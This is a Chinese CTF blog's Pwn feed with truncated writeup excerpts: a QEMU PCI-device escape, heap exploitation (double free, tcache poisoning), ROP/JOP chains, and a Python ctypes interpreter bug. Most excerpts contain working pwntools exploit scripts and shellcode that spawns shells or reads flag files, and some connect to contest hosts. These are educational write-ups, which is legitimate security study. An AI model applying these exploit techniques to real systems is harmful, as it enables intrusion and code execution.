RiK's Blog - Pwn
type: channel
link: https://pwnerik.cn/tag/Pwn/
items: RCTF 2025 bbox Writeup
items: RCTF 2025 mstr Writeup
items: 羊城杯 2025 初赛 Pwn Writeup
items: 从 ROP 到 JOP 攻击（amd64）
items: Google CTF 2025 PlayBook Writeup
items: 京麒 CTF 初赛 Crew Manager Writeup
items: Mini L-CTF 2025 Pwn Official Writeup
items: TPCTF 2025 Writeup
items: VNCTF 2025 Writeup
items: NewYearCTF 2025 出题 Writeup

RCTF 2025 bbox Writeup
type: item
date: 2025-12-15T16:37:00+00:00
description: RCTF 2025 pwn，继 mstr 之后再复现一个相对简单的 qemu escape bbox，如果有空的话再看看那个 v8pwn。（画饼ingChallenge附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体：00000000 struct block // sizeof=0x18 00000000 { 00000000 unsigned int id; 00000004 unsigned int size; 00000008 unsigned int _pad1; 0000000C unsigned int offset; 00000010 unsigned int _pad2; 00000014 unsigned __int8 encrypted; 00000015 unsigned __int8 valid; 00000016 unsigned __int8 _pad3[2]; 00000018 }; 00000000 struct virtsec_device // sizeof=0x10E8 00000000 { 00000000 unsigned __int8 _pad0[3024]; 00000BD0 unsigned int status; 00000BD4 unsigned int session_id; 00000BD8 unsigned int error_code; 00000BDC unsigned __int8 _pad1[32]; 00000BFC unsigned int alloc_size; 00000C00 unsigned int _pad2[2]; 00000C08 struct block blocks[16]; 00000D88 unsigned int _pad3; 00000D8C unsigned int current_id; 00000D90 unsigned int merge_id1; 00000D94 unsigned int merge_id2; 00000D98 unsigned __int8 data[256]; 00000E98 void (*func_ptr)(void *); 00000EA0 void *func_arg; 00000EA8 unsigned __int8 _pad4[256]; 00000FA8 unsigned __int8 key_buffer[256]; 000010A8 unsigned int reg_10A8; 000010AC unsigned __int8 _pad6[36]; 000010D0 unsigned __int64 reg_10D0; 000010D8 unsigned __int64 reg_10D8; 000010E0 unsigned __int64 reg_10E0; 000010E8 };之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks，每个块初始大小最高 0x10，但可以通过 merge 命令合并两个及多个块，直至 256 字节。设备还有 gift 寄存器，向其中写入任意内容后，设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针，再次触发 gift 就会将后者作为首个参数执行前者。（另外还有 session、神秘 command 3 和 xor 加解密，不知道能干啥。）这个 PCI 设备通过 MMIO 交互，我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径（00:04.0 Class 0580: 1234:5678）。出题人非常贴心的在每个操作都输出了 log，要想看到 qemu_log 输出便于调试，可以添加 qemu 命令行参数 -d guest_errors -D qemu.log（qemu_loglevel_mask_64(2048) 是 LOG_GUEST_ERROR）。Bug问题出在块合并，merge 似乎没有任何长度检查，只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块，从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。Exploit只需要将函数指针改成 system，参数改成 sh 就好了。然而由于某些神秘原因，直接向 offset 256 写入的…

RCTF 2025 mstr Writeup
type: item
date: 2025-11-21T03:05:00+00:00
description: 少见的 Python interpreter pwn，漏洞点也很有意思。ChallengePython 3.12.4import ctypes from typing import Union, List, Dict STRPTR_OFFSET = 0x28 LENPTR_OFFSET = 0x10 class MutableStr: pass class MutableStr: def __init__(self, data:str): self.data = data self.base_ptr = id(self.data) self.max_size_str = "" def set_max_size(self, max_size_str): if int(max_size_str) < ((len(self)+7) & ~7): self.max_size_str = max_size_str else: print("can't set max_size: too big") def __repr__(self): return self.data def __str__(self): return self.__repr__() def __len__(self): if self.base_ptr is None: return 0 ptr = ctypes.cast(self.base_ptr + LENPTR_OFFSET, ctypes.POINTER(ctypes.c_int64)) return ptr[0] def __getitem__(self, key:int): if not isinstance(key, int): raise NotImplementedError if key >= len(self) or key < 0: raise RuntimeError("get overflow") return self.data[key] def __setitem__(self, key:int, value:int): if not isinstance(value, int): raise NotImplementedError("only support integer value") if not isinstance(key, int): raise NotImplementedError("only support integer key") if key >= len(self) or key < 0: raise RuntimeError(f"set overflow: length:{len(self)}, key:{key}") strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) strptr[key] = value def __add__(self, other:Union[str,MutableStr]): if isinstance(other, str): return MutableStr(self.data + other) if isinstance(other, MutableStr): return MutableStr(self.data + other.data) raise NotImplementedError() def _add_str(self, other): if self.max_size_str == "": max_size = (len(self)+7) & ~7 else: max_size = int(self.max_size_str) if len(self)+len(other) <= max_size: other_len = len(other) strptr = ctypes.cast(self.base_ptr + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) otherstrptr = ctypes.cast(id(other) + STRPTR_OFFSET, ctypes.POINTER(ctypes.c_char)) for i in range(other_len): strptr[i+len(self)] = otherstrptr[i] if len(self)+other_len < max_size: # strptr[len(self)+other_len] = 0 pass ctypes.cast(self.base_pt…

羊城杯 2025 初赛 Pwn Writeup
type: item
date: 2025-10-16T12:07:00+00:00
description: malloc自定义堆内存管理器。堆块结构：| Offset | Field | Description | |---------|----------------|------------------------------------| | +0 | in_use (1B) | 1 = allocated, 0 = free | | +1..7 | padding | for 8-byte alignment | | +8 | size (4B) | total size of the chunk | | +12..15 | padding | (align next pointer) | | +16 | next (8B) | pointer to next free chunk | | +16 | user data start| returned to caller (malloc result) |delete 时存在 UAF，且 double free 检测深度只有 13，而我们最多可以申请 16 个堆块。double free 后再多次 create 得到重叠堆块，修改 next 指针得到任意地址（目标地址 - 16）分配，从而任意地址读写。泄露 libc、stack 基地址后任意分配到栈上写 ROP，返回至提前布置好的 shellcode。程序沙箱禁用 execve 等系统调用，考虑 orw。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='info') binary = './pwn' # io = process(binary) io = connect('45.40.247.139', 18565) e = ELF(binary) libc = ELF('./libc.so.6', checksec=False) # 0x0f < size <= 0x70 def create(index: int, size: int): io.sendlineafter(b'=======================\n', b'1') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) def delete(index: int): io.sendlineafter(b'=======================\n', b'2') io.sendlineafter(b'Index\n', itob(index)) def edit(index: int, size: int, content: bytes): io.sendlineafter(b'=======================\n', b'3') io.sendlineafter(b'Index\n', itob(index)) io.sendlineafter(b'size\n', itob(size)) io.send(content) def show(index: int): io.sendlineafter(b'=======================\n', b'4') io.sendlineafter(b'Index\n', itob(index)) def exitit(): io.sendlineafter(b'=======================\n', b'5') for i in range(15): create(i, 0x10) for i in range(15): delete(i) delete(0) # double free show(14) # leak heap (elf) e.address = u64(io.recvline(False).ljust(8, b'\x00')) - 0x53a0 print_leaked('elf_base', e.address) create(0, 0x10) edit(0, 8, p64(e.sym['stdout'] - 16)) # `next` -> stdout for _ in range(16): create(…

从 ROP 到 JOP 攻击（amd64）
type: item
date: 2025-10-13T11:27:00+00:00
description: JOP 更像是对 ROP 的概念扩充而不是一个新的攻击方式，让我们先来回顾下熟悉的 amd64 ROP。在 ROP 中，我们大概可以将 gadgets 分为三类：传递参数或做准备的 gadgets（例如 pop rdi）、收集函数返回值的 gadgets（例如 mov rdi, rax）执行有意义操作的 gadgets（例如 system、orw、syscall、shellcode）。控制 ROP 本身的 gadgets（例如 ret、leave 栈迁移）以上 gadgets 通过 ret 指令和 rsp 寄存器串联起来。为了引出 JOP，我想到了一个好方法，一个“分解”x86 中较复杂指令的游戏：（下文 reg 表示任意通用寄存器，tmp 表示内部临时寄存器。）我们来“分解”pop reg 指令，它“等效”于 mov reg, qword ptr [rsp]; add rsp, 8。（我们忽略了对标志位的影响，如果考虑的话第二个指令应为 lea rsp, [rsp + 8]。）JOP 链的位置完全可以不在栈上，最终我们可以提炼出：mov reg1, qword ptr [reg2 + offset] 或 mov qword ptr [reg2 + offset], reg1（由于有 + offset，我们不需要 add，下同。）这就是 JOP 中类似 ROP 的“传参准备”或“收集结果”gadgets，例如考虑 reg1 是 rdi 的情况。reg2 就是 JOP 链基地址。但是可以看到这并不能构造链式执行。现在我们来“分解”ret 指令，它“等效”于 pop tmp; jmp tmp，由上文进而“展开”为 mov tmp, qword ptr [rsp]; add rsp, 8; jmp tmp，现在我们又提炼出：mov reg1, qword ptr [reg2 + offset] jmp reg1 或 call reg1 或 ...（跳转）我们只需预先在 reg2 + offset 位置布置好下一个 JOP gadget，这就是 JOP 中类似 ROP 的“控制”gadgets。把上述两部分拼起来，我们最终获得了和 ROP 相同的能力，无需与调用栈和函数返回挂钩。

Google CTF 2025 PlayBook Writeup
type: item
date: 2025-07-03T03:57:00+00:00
description: struct PlayBook { int flags; // &1=used, &2=cmd, &4=note int sub_ids[10]; char note[0x200]; // 0x2c };nesting_depth 在结束后不会置零，创建和结束前也不会检查是不是 0。创建 playbook 的时候不写 ENDSTEP 的话 nesting_depth 就会大于 0 而且会保留到下次创建时。new_playbook 创建 playbook 处理嵌套时需要将 id 暂存在数组中，且该数组另有一个元素指针。用户输入读取长度 buf_size 是一个栈上的变量，与暂存 id 数组低地址相邻。（这里的变量分配很反常，大概是用了在栈上的结构体，强制改变了栈上变量布局。）这样可以改 buf_size 为一个 index 值，从而溢出 struct PlayBook 里的 char note[0x200] 改到高地址相邻 step 的 flags 和 note。先创建一大堆没用的 step 把 index 扩大到超过 0x205。Exp:# 1 ~ 575 (576) for _ in range(0x120): io.sendlineafter(b'5. Quit\n', b'2') # new io.sendlineafter(b'entry.\n', f'''STEP note: sh ENDSTEP '''.encode()) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'569') # id: 569 (570) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'571') # id: 571 (572) io.sendlineafter(b'5. Quit\n', b'3') # delete io.sendlineafter(b'id:\n', b'573') # id: 573 (574) io.sendlineafter(b'5. Quit\n', b'2') # new 569 570 571 io.sendlineafter(b'entry.\n', f'''STEP STEP ''') io.sendlineafter(b'5. Quit\n', b'2') # new 572 573 574 io.sendlineafter(b'entry.\n', f'''ENDSTEP ENDSTEP STEP STEP note: ''' + '\x03' * (0x204 + 40) + 'sh\n')我没有精确计算应该先分配多少 playbook，exp 里 0x120 之类的数字没有特别含义。不成对的 STEP、ENDSTEP 也许只需要一个，解题时我求稳将 nesting_depth 设置为 2。

京麒 CTF 初赛 Crew Manager Writeup
type: item
date: 2025-05-27T05:38:00+00:00
description: glibc 2.39 菜单堆。逆向得出堆块结构体：struct Member { int64_t backup_size; char* backup; char name[0x20]; char department[0x18]; int32_t level; int32_t index; int64_t create_time; uint64_t checksum; };写出各功能交互模板：itob = lambda x: str(x).encode() print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}') def manage(index: int): """index < 0x10""" io.sendlineafter(b'Choice: ', b'1') io.sendlineafter(b'index: ', itob(index)) def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes): """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500""" manage(index) io.sendlineafter(b'Name: ', name) io.sendlineafter(b'Department: ', department) io.sendlineafter(b'32: ', itob(backup_size)) io.sendafter(b'data: ', backup) def crew_edit(index: int, name: bytes, department: bytes): manage(index) io.sendlineafter(b'> ', b'1') io.sendlineafter(b'Name: ', name) io.sendlineafter(b'department: ', department) def crew_promote(index: int): manage(index) io.sendlineafter(b'> ', b'2') def crew_demote(index: int): manage(index) io.sendlineafter(b'> ', b'3') def crew_delete(index: int): manage(index) io.sendlineafter(b'> ', b'4') def crew_randomize(index: int): manage(index) io.sendlineafter(b'> ', b'5') def crew_summary(): io.sendlineafter(b'Choice: ', b'2') def backup(index: int): io.sendlineafter(b'Choice: ', b'3') io.sendlineafter(b'Index: ', itob(index)) def backup_view(index: int): backup(index) io.sendlineafter(b'> ', b'1') def backup_edit(index: int, data: bytes): backup(index) io.sendlineafter(b'> ', b'2') io.sendafter(b'content: ', data) def backup_invert(index: int): backup(index) io.sendlineafter(b'> ', b'3') def global_init(global_data: bytes): """sizeof(global_data) <= 0x200""" io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'1') io.sendafter(b'global data: ', global_data) def global_view(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter(b'>: ', b'2') def global_free(): io.sendlineafter(b'Choice: ', b'4') io.sendlineafter…

Mini L-CTF 2025 Pwn Official Writeup
type: item
date: 2025-05-09T15:44:00+00:00
description: CTFers题目链接程序有三个功能，增删查。新增时暂存名字用到了 name_buf，查询时有一个虚函数调用 Binary::info 或 Web::info。另外还有一个隐藏后门 0xdeadbeef，可以修改一次 ctfers 首个元素的地址。既然程序没有开启 PIE，那么当然可以将地址改到 name_buf，从而在输入名字时伪造 CTFer 对象。但我们首先要知道这个对象里有什么。Binary 和 Web 继承自 CTFer，std::vector 存储这两种对象时仅存储其指针而丢弃了类型信息。然而我们依旧可以直接调用对应类型的 info，这是因为 C++ 运行时多态特性。虽然 C++ 标准并未规定，但大多数编译器实现它的方式是虚函数表。通过在对象中存储一个虚函数表指针指向存储对应成员函数指针的虚函数表来实现运行时多态。本题虚函数调用在此：004025f4 mov rdx, qword [rax] 004025f7 mov rdx, qword [rdx] 004025fa mov rdi, rax 004025fd call rdxCTFer 对象还用 STL 容器 std::vector 存储了名字字符串。其具体实现依赖编译器，但我们可以通过在 new 前后断点，查看新增堆块的内容来反推其结构。以下是用 C 语言表示的 CTFer 对象：（符号名仅作参考）struct CTFer { void (**vtable)(struct CTFer *); int64_t points; struct std_string { char *base; size_t length; union { size_t capacity; char buffer[16]; }; } nickname; };当 length < 16 时 buffer 复用 capacity 内存而非单独 malloc，不过这并不重要。我们可以先恢复正确的虚函数表，然后修改 nickname base 指向 GOT 项，修改适当的 length，从而通过 print_info 泄露基址。获得各个库的基址绕过 ASLR 后解法就十分自由了，只要找到栈迁移 gadget 即可执行任意代码。需要注意调用 info 虚函数时 RAX 和 RDI 都指向 CTFer 对象，也就是可控的 name_buf，可依此选择 gadget。这里我们选用来自 libstdc++ 中的一个 COP gadget：0x0000000000113764: mov rbp, rax; lea r12, [rax - 1]; test rdi, rdi; je 0x113c79; mov rax, qword ptr [rdi]; call qword ptr [rax + 0x30];然后只需要在 name_buf 上写 ROP 链即可。Exp:from pwn import * context(os='linux', arch='amd64') e = ELF('./ctfers') io = ... libc = ELF('./libc.so.6', checksec=False) def add(fake_object: bytes): io.sendlineafter(b'Choice > ', b'0') io.sendlineafter(b'Name > ', fake_object) io.sendlineafter(b'Points > ', b'0') io.sendlineafter(b'- 1 > ', b'0') def show_info(): io.sendlineafter(b'Choice > ', b'2') def backdoor(address: int): io.sendlineafter(b'Choice > ', str(0xdeadbeef).encode()) io.sendline(str(address).encode()) vtable = 0x408C98 cout = 0x409080 libc_start_main_got = e.got['__libc_start_main'] input_buf = e.sym['name_buf'] # 还原虚函数表指针，改 std::string 头指针为 got 项 add(cyclic(16) + p64(vtable) + p64(0) + p64(libc_start_main_got) + p64(8) + p64(8)) backdoor(input_buf + 16) show_info() # leak libc io.recvuntil(b'I am ') lib…

TPCTF 2025 Writeup
type: item
date: 2025-03-18T10:56:00+00:00
description: EzDB程序模拟了一个数据库，其中每个表的数据从高地址向低地址增长，低地址存放数据的堆上偏移。每个表总长 1024 字节，每个偏移 4 字节长。一次性写入 1021 字节的数据可以覆盖偏移值，从而修改块大小，得到堆上无限长溢出读写。#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './db' # io = process(binary) io = connect('61.147.171.106', 61212) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) # gdb.attach(io, '') def create(index: int): io.sendlineafter(b'>>> ', b'1') io.sendlineafter(b'Index: ', itob(index)) def remove(index: int): io.sendlineafter(b'>>> ', b'2') io.sendlineafter(b'Index: ', itob(index)) def insert(index: int, length: int, content:bytes) -> int: io.sendlineafter(b'>>> ', b'3') io.sendlineafter(b'Index: ', itob(index)) io.sendlineafter(b'Length: ', itob(length)) io.sendafter(b'Varchar: ', content) io.recvuntil(b'slot id: ') return int(io.recvline(False).decode()) def get(index: int, slot: int) -> bytes: io.sendlineafter(b'>>> ', b'4') io.sendlineafter(b'Index: ', itob(index)) io.sendlineafter(b'Slot ID: ', itob(slot)) io.recvuntil(b'Varchar: ') return io.recvline(False) def edit(index: int, slot: int, length: int, content: bytes): io.sendlineafter(b'>>> ', b'5') io.sendlineafter(b'Index: ', itob(index)) io.sendlineafter(b'Slot ID: ', itob(slot)) io.sendlineafter(b'Length: ', itob(length)) io.sendafter(b'Varchar: ', content) def exitit(): io.sendlineafter(b'>>> ', b'6') for i in range(10): create(i) for i in range(1, 10): remove(i) insert(0, 1021, cyclic(1020) + b'\x00') rec = get(0, 0) libc.address = u64(rec[8765 : 8765 + 8]) - 0x21ace0 success(f'libc_base: 0x{libc.address:x}') tcache_key = u64(rec[1037 : 1037 + 8]) success(f'tcache_key: 0x{tcache_key:x}') from SomeofHouse import HouseOfSome hos = HouseOfSome(libc=libc, controled_addr=(tcache_key << 12) + 0x4000) payload = hos.hoi_read_file_template((tcache_key << 12) + 0x4000, 0x400, (tcache_key << 12) + 0x4000, 0) rec = rec.replace(rec[7613 : 7613 + 8], p64((libc.sym['_IO_…

VNCTF 2025 Writeup
type: item
date: 2025-02-10T06:33:00+00:00
description: 签个到吧执行 shellcode 前清空了寄存器上下文，但在 rdi 保留了 shellcode 基址，于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0)，getshell。io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')好easy嘅题啦VM 指令 heap 中可以操作堆快，alloc free print input。其中 free 后未置空堆块指针，存在 UAF。首先申请 0x500 大堆块，在其中提前写入之后用到的 shellcode：open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块，获取其中残留的 tcache next，获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定，再利用 UAF double free tcache chunk，tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处，写入ROP 链 mprotect 修改页权限并 ret2shellcode。Exp:#!/usr/bin/python from pwn import * from ctypes import * itob = lambda x: str(x).encode() context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug') binary = './pwn' p = process(binary) # io = connect('127.0.0.1', 9999) io = connect('node.vnteam.cn', 46995) e = ELF(binary) libc = ELF('./libc.so.6', checksec=None) io.sendlineafter(b'create? ', b'1\n') # io = connect('127.0.0.1', 9999) io = connect('node.vnteam.cn', 46995) s = 0.5 def heap(): io.sendline(b'heap 0 0') sleep(s) def alloc(size: int): io.sendlineafter(b'Heap operate: ', b'alloc') io.sendlineafter(b'Size: ', itob(size)) sleep(s) def free(): io.sendlineafter(b'Heap operate: ', b'free') sleep(s) def printit(): io.sendlineafter(b'Heap operate: ', b'print') sleep(s) def input(content: bytes): io.sendlineafter(b'Heap operate: ', b'input') io.sendafter(b'Input: ', content) sleep(s) def AveMujica(): io.sendline(b'AveMujica 0 0') sleep(s) io.recvuntil(b'Input your Code (end with EOF): ') for _ in range(13): heap() AveMujica() io.sendline(b'EOF') alloc(0x500) input(p64(0xdeadbeef) * 4 + asm(f""" mov rax, 0x67616c662f push rax mov rax, __NR_open mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall mov rax, __NR_read mov rdi, 9 mov rsi, rsp mov rdx, 0x50 syscall mov rax, __NR_sendto mov rdi, 7 syscall mov rsi, rsp """)) free() printit() io.recvuntil(b'Content: ') libc.address = u64(io.recv(8)) - 2206944 success(f'libc_base: 0x{li…

NewYearCTF 2025 出题 Writeup
type: item
date: 2025-02-06T13:47:00+00:00
description: 题目链接messages程序分为 input_messages 和 print_messages 两部分。在输入祝福时字符串被连续顺序地存储在 bss 段，字符串之间由空字符分隔。输出祝福前程序先将字符串集的数据结构由连续紧凑存储转换为字符串数组，字符串值被拷贝到栈上。栈上数组长度有限且每个数组元素字符串空间占用相等（即使实际只有几个字符）。注意虽然正常键盘输入无法输入空字符，但利用 pwntools 等工具可以直接向程序输入空字符，无论程序直接使用系统调用还是使用标准库 IO 函数（本题未涉及，但也常见）。所以我们可以在输入的字符串中间插入空字符（b'\0'），程序输出时没有检查字符串最大个数（只检查了字符串最大长度，因此无法直接溢出），可以构造多个字符串（长度须大于 1），从而使程序在之后的字符串数组转换过程中数组下标溢出，直至栈上返回地址。栈上每个字符串占用 56 字节，一个长度占用 8 字节，长度数组长 20 * 8 字节，所以覆盖完字符串数组后还需构造 3 个字符串以到达返回地址。程序中存在后门函数 getflag 且未开启 PIE 保护所以可以直接 ret2text，程序未开启 canary 保护所以可以直接溢出。注意 print_messages 函数栈上还有用于存储字符串长度的数组（IDA 无法正确识别），需要手动修复字符串数组以及长度数组变量类型（char messages[16][56];、size_t lengths[20];）。Exp:from pwn import * context(arch='amd64', os='linux') io = ... e = ELF('./messages') io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) # 填满栈上 `messages` 数组 io.sendafter(b'> ', b'\x01\x01\x00' * 3 + p64(e.sym['getflag'])) # 填满栈上 `lengths` 数组及暂存 `rbp`、覆盖返回地址（`\x01` 可为任意非空字符） io.sendafter(b'> ', b'\n') # 结束输入 io.interactive()strncpy 会将目标剩余空间全部清零，所以可以正确写入地址而无需考虑将原本的地址剩余部分清零。实际做题时无需理解并修复 IDA 识别的栈上变量类型，也无需精确计算需要构造的字符串个数。只需构造多个不同的字符串，结合 gdb 调试看返回地址被改成哪个字符串值并将该字符串替换为后门函数地址即可。messages_flag2拿 flag1 过程中就不难发现由于字符串数组下标溢出修改了 lengths 数组，程序可以越界输出栈上值。栈上一定存在 libc 地址（例如 main 的返回地址在 __libc_start_main 中），因此可以泄露 libc 基址。本题栈上变量布局比较凑巧，虽然由于字符串输入会被地址空字节截断，因此无法在同一个字符串中连续输入两个地址（x86_64 虚拟地址长度仅 6 字节，用户空间地址中必然包含空字节），无法直接写入 ROP 链。但是由于栈上暂存 rbp 和返回地址恰好位于栈上 messages 中两个字符串的交界处，所以可以同时修改，构造栈迁移。第一轮输入时覆盖返回地址为 main 以构造第二轮输入同时泄露 libc 基址。第二轮输入时利用 leave; ret gadget 将栈迁移到 bss 段，提前在此输入 ROP 链（注意先将输入字符串填充至 8 字节对齐），即可 getshell。Exp:from pwn import * context(arch='amd64', os='linux') io = ... e = ELF('./messages') libc = ELF('./libc.so.6', checksec=None) io.sendafter(b'> ', (b'aa\0' * 16)[:-1]) io.sendafter(b'> ', b'\x01\x01\x00\x01\x01\x00\xd0\x01\x00' + p64(e.sym['main'])) io.sendafter(b'> ', b'\n') io.recvuntil('有人说：aa'.encode()) io.recvuntil('有人说：aa'.encode()) io.recvuntil('有人说：aa'.encode()) libc.address = u64(io.recvuntil('有人说：'.encode(), drop=True)[-8:]) - 171584 # __libc_start_main+128 succe…